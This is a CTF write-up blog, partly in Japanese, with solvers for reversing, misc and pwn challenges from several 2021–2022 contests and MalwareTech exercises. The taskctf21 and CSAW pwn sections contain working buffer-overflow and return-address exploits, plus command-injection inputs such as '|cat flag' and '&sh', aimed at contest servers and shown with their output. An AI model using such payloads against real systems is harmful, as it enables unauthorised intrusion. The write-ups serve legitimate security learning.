日記帳

CTFのWriteupや雑記など

zer0pts CTF 2022 - service (Rev) Writeup

主催者およびスポンサーの皆様、素晴らしいCTFを開催してくださりありがとうございました。

service (Rev)

入力した文字列から2文字ずつSHA256ハッシュを求めて、ハードコードしてあるものと比較している。IATが書き換えられており、IDA等では正しい逆アセンブル結果が表示されないが、デバッガー (x64dbg, WinDbgなど) を用いることで Cryptographic API (Win32) を呼び出していることがわかる。

以下はその内容をもとに記述したソルバである。

import string
import hashlib

flag = ""

with open('chall.exe', 'rb') as cf:
    cf.seek(0x2220)
    dat = cf.read(0x261f-0x2220+1)

for i in range(0, 32*32, 32):
    for c1 in string.printable:
        for c2 in string.printable:
            pos = c1 + c2
            if dat[i:i+32].hex() == hashlib.sha256(pos.encode()).hexdigest():
                flag += pos

print(flag)

taskctf21 Writeup

面白かったです!主催者のtask4233さん、素晴らしいCTFをありがとうございました。

Welcome

welcome

Sanity Check. C&P.

Misc

js

うまく記号だけのJavaScriptコードで yes という文字列を表現してPOSTすればFlagを取得することができます。(参考1,参考2)

import requests
print(requests.post("http://34.145.29.222:30009", json={'want_flag': '(+[![]]+[+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])])[[+!+[]]+[+[]]]+(!![]+([]+[]))[!+[]+!+[]+!+[]]+(![]+([]+[]))[!+[]+!+[]+!+[]]'}).text)
# taskctf{js_1s_4_tr1cky_l4ngu4ge}

polyglot / polygolf

C言語、Go言語の両方で動作する(かつpolygolfでは185バイト以下のサイズの)コードを作成して送信することでFlagを取得することができます。(参考)

以下は私が書いて使用したコード。

// \
/*
main(){system("cat flag");}
#if 0
//*/package main
import(."fmt"
."os/exec")
func main(){f,_:=Command("cat", "flag").Output()
Print(string(f))}
// \
/*
#endif//*/

Pwnable

super_easy

BOFするように適当なPayloadを送信すればFlagを取得することができます。

$ echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | nc 34.145.29.222 30002
Input task name
task
task name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
task done: 1094795585
taskctf{bre4k_e4sily}

super_easy2

スコアの値が0x1337になるようなPayloadを送信すればFlagを取得することができます。

$ echo -e 'AAAAAAAAAAAAAAAA\x01\x00\x00\x00\x37\x13\x00\x00' | nc 34.145.29.222 30003
Input task name
task
task name: AAAAAAAAAAAAAAAA
task done: 1
taskctf{y0u_c4n_4ls0_0verwr1te}

script_kiddie

配布されているソースコードを読んでみると、自明なOSコマンドインジェクション脆弱性が見つかるので、cat flag するようなPayloadを送信すればFlagを取得することができます。

$ echo '|cat flag' | nc 34.145.29.222 30005
Which flag do you want?taskctf{n0w_y0u_g0t_shell}

super_easy3

新しく加わった deadline によるチェックをクリアできるようにExploitすればFlagを取得することができます。

// gcc genpayload.c -o genpayload
#include <stdio.h>
#include <stdint.h>
#include <time.h>

typedef struct {
  char name[16];
  uint32_t is_done;
  uint32_t score;
  double rate;
  time_t deadline;
} TASK;

int main()
{
    TASK task = {"AAAAAAAAAAAAAAAA",1,0x1337,999,time(NULL)};
    FILE *fp = fopen("/tmp/task.tmp", "wb");
    fwrite(&task, sizeof(TASK), 1, fp);
    return 0;
}
from pwn import *
import subprocess

io = remote('34.145.29.222', 30004)
subprocess.run(["./genpayload"])
cs = open('/tmp/task.tmp','rb').read()
io.send(cs)
io.interactive()
$ python3 solve.py
[+] Opening connection to 34.145.29.222 on port 30004: Done
[*] Switching to interactive mode
Input task name
$
task
task name: AAAAAAAAAAAAAAAA
task done: 1
task score: 4919
task deadline: Sun Dec 12 10:11:39 2021

taskctf{n0w_y0u_kn0w_t1me_t}[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to 34.145.29.222 port 30004

script_kiddie2

sh して cat flag すればFlagを取得することができます。

$ nc 34.145.29.222 30007
Which flag do you want?&sh

cat flag
taskctf{sh_1s_als0_0k}

prediction

Return Addressを書き換えるようなExploitを書けばFlagを取得することができます。

from pwn import *
import struct

io = remote('34.145.29.222', 30006)

payload = b'taskctf{'
payload += b'A'*48
payload += struct.pack('<I', 0x4013F7)
io.sendline(payload)
io.sendline(b'cat flag')
io.interactive()
> python .\prediction_solve.py
[x] Opening connection to 34.145.29.222 on port 30006
[x] Opening connection to 34.145.29.222 on port 30006: Trying 34.145.29.222
[+] Opening connection to 34.145.29.222 on port 30006: Done
[*] Switching to interactive mode
What is the flag?
***start stack dump***
0x7fff7a7cc980: 0x7b6674636b736174 <- rsp
0x7fff7a7cc988: 0x4141414141414141
0x7fff7a7cc990: 0x4141414141414141
0x7fff7a7cc998: 0x4141414141414141
0x7fff7a7cc9a0: 0x4141414141414141
0x7fff7a7cc9a8: 0x4141414141414141
0x7fff7a7cc9b0: 0x4141414141414141 <- rbp
0x7fff7a7cc9b8: 0x00000000004013f7 <- return address
0x7fff7a7cc9c0: 0x0000000000000000
0x7fff7a7cc9c8: 0x00007ff3b999c0b3
0x7fff7a7cc9d0: 0x00007ff3b9b616a0
***end stack dump***

taskctf{r0p_1s_f4mous_way}

ちなみに別解もあります。

$ strings prediction | grep taskctf{
taskctf{
taskctf{r0p_1s_f4mous_way}

多分これが一番早いと思います。 :joy:

Buckeye CTF 2021 Rev/Misc Writeup

I have participated Buckeye CTF 2021, and solved most of Misc challenges *1 & 3 Rev challenges. They were really fun, and I am excited to study about hard Rev challenges that I could not solve after the competition. Thanks to all of the organizers & sponsors for this CTF!!!

Rev

BASIC

Program file for TI83F is distributed. It can be decoded into human readable code using certain tool like 8xpdump, and flag can be obtained from it.

hackmd.io

Buttons

By decompiling the given jar file into java code, we can figure out that its something like maze game. Grid (with information that where player should not step in) is hardcoded, so player can reach out flag using it.

hackmd.io

The Legend of the Headless Horseman

By looking into given executable, I knew that head-part of ELF file (for multiple architecture) is hardcoded, so I have extracted from it. Challenge description, text inside executable gave me an idea that distributed files under body_bag directory can be combined with these headers. I used QEMU for each architecture to discover which combination of ELF header and body part is working. As a result of analyzing the working ELF file obtained, I got a flag for this challenge.

hackmd.io

Misc

sanity_check

C&P flag from Discord.

replay

Send same input as pcap file is showing.

hackmd.io

layers

Save docker image as a file, and extract image file with the flag from it. At first, I though that this is sort of forensics challenge XD

hackmd.io

USB Exfiltration

Pcap file with USB packets is distributed. There is nothing complicated here, just extract & combine & decompress. Btw, I was the 3rd person who have solved this challenge!!!

hackmd.io

Don't Talk to Blue Birds

Path to flag can be found on following post at Twitter. Searching phrase Witch Security will reach out this account.

Open Source In(sta)telligence

Path to flag can be found on following post at Instagram. Searching phrase Witch Security will reach out this account.

www.instagram.com

*1:I was slept when "Survey" challenge has been opened. :sob:

Tamil CTF 2021 Writeup (rev)

This is the writeup article for reversing challenges except "Fool Me" in Tamil CTF 2021. All challenges have really awesome quality, and I have learned lots of stuff from them. Thank you to everyone who have helped organizing this wonderful event. 🙏

Digital play

Challenge that requires player to analyze the file with data of digital logic circuit. By searching with interesting strings inside the encrypt.dig (e.g. visualElement), tool named Digital can be found on GitHub (Link). Opening the file using this tool will provide a visualized information like below.

f:id:m0pisec:20210927073245p:plain
Screenshot from Digital (opening encrypt.dig)

By writing some sort of script / program that decodes the data inside output.txt, flag can be obtained.

hackmd.io

Obscure

Byte-Compiled Python code file is distributed, so it can be reversed into Python script using tool like uncompyle2. By obtaining the encoded flag inside the script, and reverse the flow that is generating the encoded data, flag can be obtained.

hackmd.io

eezy

Binary patching challenge. Well, I have solved it with static analysis because I am not that familiar with debugger like gdb, radare2. Algorithm of distributed flag-checker program is not that hard, so it can be reversed easily.

hackmd.io

Gold Digger

Reverse the flow of program (using tool like Ghidra, IDA) to obtain the flag. I have used Ghidra to solve and here is Ghidra Zip File with some modification (e.g. renaming/retyping varibale) done by me, so it is much more human-friendly to read compared to initial state.

hackmd.io

Guesser

Distributed file is Windows executable written with .NET Framework, so it can be decompiled using tool like dnSpy, ILSpy. Code where validates username and password is reverse-able with simple logic, so I have wrote two line script that gets the username, password.

hackmd.io

HeyImAB

Distributed file is Android Backup (AB) file. It can be extracted easily, and by grepping the files with TamilCTF{, flag can be obtained.

hackmd.io

Unknown

Distributed file is written in Python (packed to executable using PyInstaller), so it can be reversed to format of script using pyinstxtractor.py and pycdc. Reversed script is bit obfuscated using eval function, so I have cleaned up the script and reversed the logic to obtain the flag.

hackmd.io

Hybrid Reptile

As same as Unknown challenge, distributed file is written in Python. It can be reversed to format of script using pyinstxtractor.py and pycdc. There was unused variable inside the script that seems to be Base64 encoded data, so I have decoded it and knew that its ELF file. I have decompiled it with Ghidra and obtained the key that can decrypt the flag.

hackmd.io

CSAW CTF Quals 2021 Writeup

I really love ransomwaRE challenge, because it was very good practice for my static analysis (and some dynamic analysis) against windows malware. Thanks to everyone belongs to CPAW CTF organizer for hosting this amazing CTF competition.

rev

ransomwaRE

This challenge is focusing about ransomware-like program that encrypts PDF file(s) under %USERPROFILE%\SecretCSAWDocuments folder using AES128 algorithm (with CTR mode). Distributed executable is just a downloader (and doing some plus alpha stuffs), the essential part of program can be downloaded from http://rev.chal.csaw.io:8129/5692481aecd40429eecf588d28ce6a31. Program has a structure that keeps key, nonce, EVP_CIPHER object, and user id (which will be written on %USERPROFILE%\AppData\Local\Temp, and displayed when encryption is done), so I have named this Config structure. Config will be initialized inside Gin function, by storing random bytes to each member variables inside. Key, nonce, user id will be hexlified and sent to remote server (well, server only returns 404 so this part seems to be meaningless).

f:id:m0pisec:20210911220853p:plain

Because its using same keystream for all files, we can attack this cipher by known-plaintext keystream-reuse attack. I am not well-known about crypto stuffs, so please check this page that I have learned about it. This is the solver, which will output flag.pdf with the flag.

Solver:

import os
import binascii
from Crypto.Cipher import AES
from Crypto.Util import Counter
from Crypto.Util import strxor

# us-aers-ransomware.pdf
sample_plain = open('us-aers-ransomware.pdf.backup', 'rb').read()
sample_cipher = open('us-aers-ransomware.pdf.cryptastic', 'rb').read()

# flag.pdf
flag_cipher = open('flag.pdf.cryptastic', 'rb').read()
keystream = strxor.strxor(sample_cipher, sample_plain)[:len(flag_cipher)]
flag_plain = open('flag.pdf', 'wb').write(strxor.strxor(flag_cipher, keystream))

Output:

f:id:m0pisec:20210911222850p:plain
flag.pdf

Flag: flag{w4y_t0_put_th3_RE_1n_W1nd0w5_r4n50mw4RE}

misc

Welcome

C&P from Discord.

Flag: flag{W3Lcom3_7o_CS4w_D1ScoRD}

warm-up

poem-collection

Easy Web Chall. (Answer)

Flag: flag{l0c4l_f1l3_1nclusi0n_f0r_7h3_w1n}

Turing

f:id:m0pisec:20210911124820p:plain
https://cryptii.com/pipes/enigma-machine

Flag: flag{scruffy_looking_nerf_herder}

Password Checker

Very simple and easy pwn challenge. Just be careful about stack alignment.

Solver:

from pwn import *
from struct import pack

# conn = process('./password_checker')
conn = remote('pwn.chal.csaw.io', 5000)
payload  = b'A' * 72 # 72
payload += pack('<I', 0x401173)
conn.recvuntil(b"Enter the password to get in: \n>")
conn.sendline(payload)
conn.interactive()

Output:

$ python3 test.py
[+] Opening connection to pwn.chal.csaw.io on port 5000: Done
[*] Switching to interactive mode
This is not the password$ ls
flag.txt
password_checker
$ cat flag.txt
flag{ch4r1i3_4ppr3ci4t35_y0u_f0r_y0ur_h31p}

Flag: flag{ch4r1i3_4ppr3ci4t35_y0u_f0r_y0ur_h31p}

checker

Reversing Python Script.

Solver

def up(x):
    x = [f"{ord(x[i]) << 1:08b}" for i in range(len(x))]
    return ''.join(x)

def up_rev(d):
    x = []
    for i in range(0, len(d), 8):
        x.append(chr(int('0b'+d[i:i+8],2) >> 1))
    return ''.join(x)

def down(x):
    x = ''.join(['1' if x[i] == '0' else '0' for i in range(len(x))])
    return x

def right(x,d):
    x = x[d:] + x[0:d]
    return x

def right_rev(x,d):
    x = x[-1*d:] + x[:-1*d]
    return x

def left(x,d):
    x = right(x,len(x)-d)
    return x[::-1]

def left_rev(x,d):
    x = x[::-1]
    return right_rev(x,len(x)-d)

def encode(plain):
    d = 24
    x = up(plain)
    x = right(x,d)
    x = down(x)
    x = left(x,d)
    return x

def decode(encoded):
    d = 24
    x = left_rev(encoded, d)
    x = down(x)
    x = right_rev(x, d)
    plain = up_rev(x)
    return plain

def main():
    encoded = "1010000011111000101010101000001010100100110110001111111010001000100000101000111011000100101111011001100011011000101011001100100010011001110110001001000010001100101111001110010011001100"
    print(decode(encoded))

if __name__ == "__main__":
  main()

Output:

> python .\checker.py
flag{r3vers!nG_w@rm_Up}

Flag: flag{r3vers!nG_w@rm_Up}

Beginner Malware Reversing Challenges Writeup

常設なので解き方のみ。

www.malwaretech.com

Hide and Seek

strings1

Ghidraで開いて静的解析すればプログラム内で使用されているFlagを入手することができます。

strings2

超シンプルなStackstrings問題。floss に投げればFlagを入手することができます。

strings3

f:id:m0pisec:20210910165704p:plain

FindResourceA 関数からリソースからFlagの文字列を取得していることがわかり、LoadStringA 関数によって取得している文字列のIDがわかるので、その情報をもとにリソースを漁ればFlagを入手することができます。

Shellcode

shellcode1

VirtualAlloc 関数でRWXな領域を確保して、memcpy 関数で埋め込まれたシェルコードをコピーして実行しているだけ。シェルコード部分を右クリックして "Disassemble" して引数を ESI レジスタから取得するように設定すれば処理を読むことができるので、それをもとにFlagをデコードする。

shellcode2

shellcode1と違いStackstringsを用いて使用するAPIなどを隠している。下記のようにすればFlagを入手することができます。

>>> dat_f = open('./shellcode2.exe_', 'rb')
>>> dat_f.seek(0x4e)
78
>>> dat = dat_f.read(0x26)
>>> arg = bytearray(b'\x12\x24\x28\x34\x5b\x23\x26\x20\x35\x37\x4c\x28\x76\x26\x33\x37\x3a\x27\x3d\x6e\x25\x48\x6f\x3c\x58\x3a\x68\x2c\x43\x73\x10\x0e\x10\x6b\x10\x6f\x10')
>>> for i in range(0x24): print(chr((dat[i] ^ arg[i]) & 0xff), end='')
...
FLAG{XXXXX REDACTED XXXXX}

Devirtualization

VM1

PPC問。処理を写経するだけ。

Solver:

dst = bytearray(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\x7e\x7d\x55\x1e\x05\xe6\x9f\xe4\xa6\x47\x50\x02\x01\xc7\xfc\xcb\x60\x09\xc6\x0e\x2e\x41\x65\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x1d\xbd\x01\x05\x53\x01\x12\x48\x01\x10\xe6\x01\x13\x8a\x01\x0d\x47\x01\x16\x13\x01\x0a\x15\x01\x00\x98\x01\x02\x3c\x01\x18\xd9\x01\x1a\x57\x01\x06\xab\x01\x1b\xc6\x01\x01\x32\x01\x17\x20\x01\x15\x6f\x01\x11\x2d\x01\x08\xc9\x01\x09\xe7\x01\x03\x12\x01\x0c\x2f\x01\x0e\x88\x01\x19\x6c\x01\x04\x65\x01\x1e\xae\x01\x14\x59\x01\x1f\x91\x01\x1c\x5d\x01\x0f\xae\x01\x0b\x15\x01\x07\xcc\x02\x20\x00\x03\x00\x00\x02\x21\x00\x03\x01\x00\x02\x22\x00\x03\x02\x00\x02\x23\x00\x03\x03\x00\x02\x24\x00\x03\x04\x00\x02\x25\x00\x03\x05\x00\x02\x26\x00\x03\x06\x00\x02\x27\x00\x03\x07\x00\x02\x28\x00\x03\x08\x00\x02\x29\x00\x03\x09\x00\x02\x2a\x00\x03\x0a\x00\x02\x2b\x00\x03\x0b\x00\x02\x2c\x00\x03\x0c\x00\x02\x2d\x00\x03\x0d\x00\x02\x2e\x00\x03\x0e\x00\x02\x2f\x00\x03\x0f\x00\x02\x30\x00\x03\x10\x00\x02\x31\x00\x03\x11\x00\x02\x32\x00\x03\x12\x00\x02\x33\x00\x03\x13\x00\x02\x34\x00\x03\x14\x00\x02\x35\x00\x03\x15\x00\x02\x36\x00\x03\x16\x00\x02\x37\x00\x03\x17\x00\x02\x38\x00\x03\x18\x00\x01\x19\x00\x04\x00\x00\x00')

tmp = 0

def func(x, y, z):
    global tmp
    if x == 1:
        dst[y] = z
    else:
        if x == 2:
            tmp = dst[y] & 0xff
        else:
            if x != 3:
                return 0
            dst[y] = dst[y] ^ tmp
    return 1

i = 0
a = func(dst[0xff+i], dst[0xff+i+1], dst[0xff+i+2])
while a != 0:
    a = func(dst[0xff+i], dst[0xff+i+1], dst[0xff+i+2])
    i += 3

print(dst)

Output:

> python .\vm_solver.py
bytearray(b'FLAG{XXXXX REDACTED XXXXX}\x00W\xc6]\xbd\xae\x91\xde~}U\x1e\x05\xe6\x9f\xe4\xa6GP\x02\x01\xc7\xfc\xcb`\t\xc6\x0e.Ae\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x1d\xbd\x01\x05S\x01\x12H\x01\x10\xe6\x01\x13\x8a\x01\rG\x01\x16\x13\x01\n\x15\x01\x00\x98\x01\x02<\x01\x18\xd9\x01\x1aW\x01\x06\xab\x01\x1b\xc6\x01\x012\x01\x17 \x01\x15o\x01\x11-\x01\x08\xc9\x01\t\xe7\x01\x03\x12\x01\x0c/\x01\x0e\x88\x01\x19l\x01\x04e\x01\x1e\xae\x01\x14Y\x01\x1f\x91\x01\x1c]\x01\x0f\xae\x01\x0b\x15\x01\x07\xcc\x02 \x00\x03\x00\x00\x02!\x00\x03\x01\x00\x02"\x00\x03\x02\x00\x02#\x00\x03\x03\x00\x02$\x00\x03\x04\x00\x02%\x00\x03\x05\x00\x02&\x00\x03\x06\x00\x02\'\x00\x03\x07\x00\x02(\x00\x03\x08\x00\x02)\x00\x03\t\x00\x02*\x00\x03\n\x00\x02+\x00\x03\x0b\x00\x02,\x00\x03\x0c\x00\x02-\x00\x03\r\x00\x02.\x00\x03\x0e\x00\x02/\x00\x03\x0f\x00\x020\x00\x03\x10\x00\x021\x00\x03\x11\x00\x022\x00\x03\x12\x00\x023\x00\x03\x13\x00\x024\x00\x03\x14\x00\x025\x00\x03\x15\x00\x026\x00\x03\x16\x00\x027\x00\x03\x17\x00\x028\x00\x03\x18\x00\x01\x19\x00\x04\x00\x00\x00')

Ransomware

ransomware1

少し頭を捻る必要のある問題。エンコードされた flag.txt と複数の画像ファイルをエンコードしたファイルが渡される。復号に必要なキーはプログラム内に見つからないが、先述した複数の画像ファイルは全てWindows 7のSample Picturesなので、ネットでファイル名を検索するなどしてファイルを入手する。あとは雑にキーを逆算して、flag.txtをデコードするだけ。

key = []
hydra_enc = open('.\Pictures\\Sample Pictures\\Hydrangeas.jpg_encrypted', 'rb').read()
hydra_dec = open('.\Pictures\\Sample Pictures\\Hydrangeas.jpg', 'rb').read()

for i in range(len(hydra_enc)):
    key.append(hydra_enc[i] ^ hydra_dec[i])

res = ''
flag_enc = open('.\Documents\\flag.txt_encrypted', 'rb').read()
for i in range(len(flag_enc)):
    res += chr(flag_enc[i] ^ key[i])
open('.\Documents\\flag.txt', 'w').write(res)